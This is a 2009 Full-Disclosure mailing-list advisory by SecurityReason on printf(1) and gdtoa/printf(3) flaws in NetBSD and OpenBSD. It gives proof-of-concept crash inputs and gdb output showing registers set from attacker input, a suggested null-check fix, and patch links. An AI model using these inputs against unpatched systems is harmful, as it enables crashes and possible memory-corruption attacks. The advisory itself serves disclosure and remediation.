[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

[Full-disclosure] SecurityReason: Multiple BSD printf(1) and multiple dtoa/*printf(3) vulnerabilities



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

[ Multiple BSD printf(1) and multiple dtoa/*printf(3) vulnerabilities ]

Author: Maksymilian Arciemowicz
SecurityReason.com
Date:
- - Dis.: 29.06.2009
- - Pub.: 30.10.2009

We are going inform all vendors, about this problem

Affected Software (official):
- - OpenBSD 4.6
- - NetBSD 5.0.1
probably more (macosx, chrome, firefox,..)...

Original URL:
http://securityreason.com/achievement_securityalert/69

- --- 0.Description ---
printf(1) formats and prints its arguments, after the first, under control of 
the format.  The format is a character string
which contains three types of objects: plain characters, which are simply 
copied to standard output, character escape sequences
which are converted and copied to the standard output, and format 
specifications, each of which causes printing of the next
successive argument.

SYNOPSIS

     printf format [arguments ...]


The printf(3) family of functions produces output according to a format as 
described below.  The printf(3) and vprintf(3)
functions write output to stdout, the standard output stream; fprintf(3) and 
vfprintf(3) write output to the given output
stream; sprintf(3), snprintf(3), vsprintf(3), and vsnprintf(3) write to the 
character string str; and asprintf(3) and
vasprintf(3) write to a dynamically allocated string that is stored in ret.

SYNOPSIS

     int
     printf(const char * restrict format, ...);

- --- 1. Multiple BSD printf(1) and multiple dtoa/*printf(3) vulnerabilities ---
The first problem exists in usr.bin/printf/printf.c. printf(1) in NetBSD and 
OpenBSD, have problem with a field width and
precision. Difference between printf(1) and printf(3) is that the printf(1) has 
its own filter for formating fmt. To see
acceptable tags, use manual "man 1 printf".

We can use char '*' in fmt, to declaring size in next arg.

example:
# printf %1.*f 1 1.2345
1.2

So, printf allow to use "*" in fmt.

- ---
...
fieldwidth = *fmt == '*' ? getint() : 0;
...
- ---

The problem is that the program does not verify the accuracy of fmt.

It is possible to use '*' a few times
=>
function getint() will be started a few times.

getint() returns the value allocated in memory ( function printf(3) ).

example:
# printf %1.**f 1 1.2345
/* long exec. */

precision here, will be taken from stack. This means that the precision is the 
number retrieved from the stack. Further addition
of the '*' char, will moving the pointer of precision.

As a result, we try to appoint offset to control register esi and edi. But to 
do this, we need to change the fmt type of float
to string .

example (string):
# printf %*********s 666
Memory fault (core dumped)

and we are in home. We need add "*********" to try control esi and edi reg.

# gdb -q printf
(no debugging symbols found)
(gdb) r "%*********s" 666
Starting program: /usr/bin/printf "%*********s" 666
(no debugging symbols found)
(no debugging symbols found)

Program received signal SIGSEGV, Segmentation fault.
0xbbba6a2a in __vfprintf_unlocked () from /usr/lib/libc.so.12
(gdb) i r
eax            0x0      0
ecx            0xffffffff       -1
edx            0x0      0
ebx            0xbbbd5b38       -1145218248
esp            0xbfbfe320       0xbfbfe320
ebp            0xbfbfec08       0xbfbfec08
esi            0x29a    666
edi            0x29a    666

esi and edi are 666 (netbsd)

under openbsd, we have randomization, so it will be not so easy.

- ---
727                                     size = p ? (p - cp) : prec;
728                             } else {
729                                     size_t len;
730
731                                     if ((len = strlen(cp)) > INT_MAX)
732                                             goto overflow;
733                                     size = (int)len;
734                             }
735                             sign = '\0';
- ---

program will crash in 731 line (strlen(cp)).

Variable "cp" will be allocated in 666 addr in memory. So we can try manipulate 
of addr "cp" variable. That means that the
shells are also affected (like /bin/sh /bin/csh) because printf is also used as 
a shell buit-in. We do not have accurate
information, who uses a flawed implementation.

printf(1) should use "IEEE 1003.1-2001" standard.

Next problem with the printf(3) is very similar to "Multiple Vendors libc/gdtoa 
printf(3) Array Overrun" (SREASONRES:20090625)
and concerns the implementation of gdtoa. We can try allocate a lot of memory, 
that malloc will generate crash. Issue has been
detected in gdtoa from openbsd. NetBSD fix for (SREASONRES:20090625) is not 
affected and we thing that is better. Discrepancy
theory, divided netbsd and openbsd.

example:
# printf %.1100000000f 1.1
Segmentation fault (core dumped)
...
(gdb) bt
#0  __Balloc_D2A (k=29) at /usr/src/lib/libc/gdtoa/misc.c:75
#1  0x00db1203 in __rv_alloc_D2A (i=550860376)
    at /usr/src/lib/libc/gdtoa/dmisc.c:52
#2  0x00daeceb in __dtoa (d=1.1000000000000001, mode=3, ndigits=1100000000,
    decpt=0xcfbcb634, sign=0x0, rve=0xcfbcb63c)
    at /usr/src/lib/libc/gdtoa/dtoa.c:325
#3  0x00dad4e7 in vfprintf (fp=0x3c0035d8, fmt0=0xcfbcba5f "%.1100000000f",
    ap=0xcfbcb85c "\224\f") at /usr/src/lib/libc/stdio/vfprintf.c:619
#4  0x00d7e5f1 in printf (fmt=0xcfbcba5f "%.1100000000f")
    at /usr/src/lib/libc/stdio/printf.c:44
...
(gdb) i r
eax            0x0      0
ecx            0x20d57658       550860376
edx            0x0      0
ebx            0x20d57658       550860376
esp            0xcfbcb4a0       0xcfbcb4a0
ebp            0xcfbcb4b8       0xcfbcb4b8
esi            0x0      0
edi            0x1d     29
eip            0xdb16c3 0xdb16c3
...

code lib/libc/gdtoa/misc.c:
...
                if (k <= Kmax && pmem_next - private_mem + len <= PRIVATE_mem) {
                        rv = (Bigint*)pmem_next;
                        pmem_next += len;
                        }
                else
                        rv = (Bigint*)MALLOC(len*sizeof(double));
#endif
                rv->k = k;
                rv->maxwds = x;
                }
...

if rv will be NULL, rv->k = k will generate crash. We sholud check returned 
value from MALLOC().

example:
                else {
                        rv = (Bigint*)MALLOC(len*sizeof(double));
                        if (rv == NULL)
                                return (NULL);
                }
        
Not only does such vulnerabilities, exists on BSD systems. This issue is very 
similar to:

http://googlechromereleases.blogspot.com/2009/09/stable-channel-update_30.html

This problem has been published in 25.06.2009 with PoC. Google has fixed this 
issue in 30.09.2009. However, very interesting
false note has been released by Mozilla (27.10.2009).

http://www.mozilla.org/security/announce/2009/mfsa2009-59.html

Mozilla team since May, is not aware of the existence this issue 
(SREASONRES:20090625). Secunia has informed mozilla team.
However, this bug qualify as a new issue with new CVE number. Why? We don't 
know. This is the same issue like
(SREASONRES:20090625). Chrome has used original CVE but why mozilla have new 
CVE? Issue is the same. Secunia has confirmed it
(29.10.2009).

We congratulate mozilla team rapid response, faulty fix and fake security note.
        
- --- 2. Fix ---
NetBSD printf(1):
http://cvsweb.de.netbsd.org/cgi-bin/cvsweb.cgi/src/usr.bin/printf/printf.c

OpenBSD printf(1):
http://www.openbsd.org/cgi-bin/cvsweb/src/usr.bin/printf/printf.c

OpenBSD gdtoa ( Oct 16 2009 UTC ):
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/sum.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtorx.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtord.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtorQ.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtof.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtodg.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtod.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/smisc.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/misc.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/hdtoa.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/gethex.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/gdtoa.h
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/dtoa.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/dmisc.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/stdio/vfprintf.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/arch/vax/gdtoa/strtof.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtorxL.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtorf.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtordd.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtopxL.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtopx.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtopf.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtopdd.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtopd.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtopQ.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtodnrp.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtodI.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtoIxL.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtoIx.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtoIg.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtoIf.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtoIdd.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtoId.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtoIQ.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/qnan.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/g_xfmt.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/g_xLfmt.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/g_ffmt.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/g_dfmt.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/g_ddfmt.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/g__fmt.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/g_Qfmt.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/arithchk.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/stdlib/gcvt.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/stdlib/ecvt.c

NetBSD gdtoa:
fix for SREASONRES:20090625 works well. Change only Kmax

- --- 3. Greets ---
martynas (fix), christos

sp3x Infospec Chujwamwdupe p_e_a pi3 JP.

- --- 4. Contact ---
Author: SecurityReason.com [ Maksymilian Arciemowicz ]
Email: cxib }a.t{ securityreason (d00t] com
GPG: http://securityreason.com/key/Arciemowicz.Maksymilian.gpg
http://securityreason.com
http://securityreason.pl


-----BEGIN PGP SIGNATURE-----

iEYEARECAAYFAkrq3bEACgkQpiCeOKaYa9YeagCgqM21Xs1AGHTezFDJgWJTMLxC
oDwAnRGSuNftB+p7spcytj8tvcJblAGX
=huS/
-----END PGP SIGNATURE-----

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/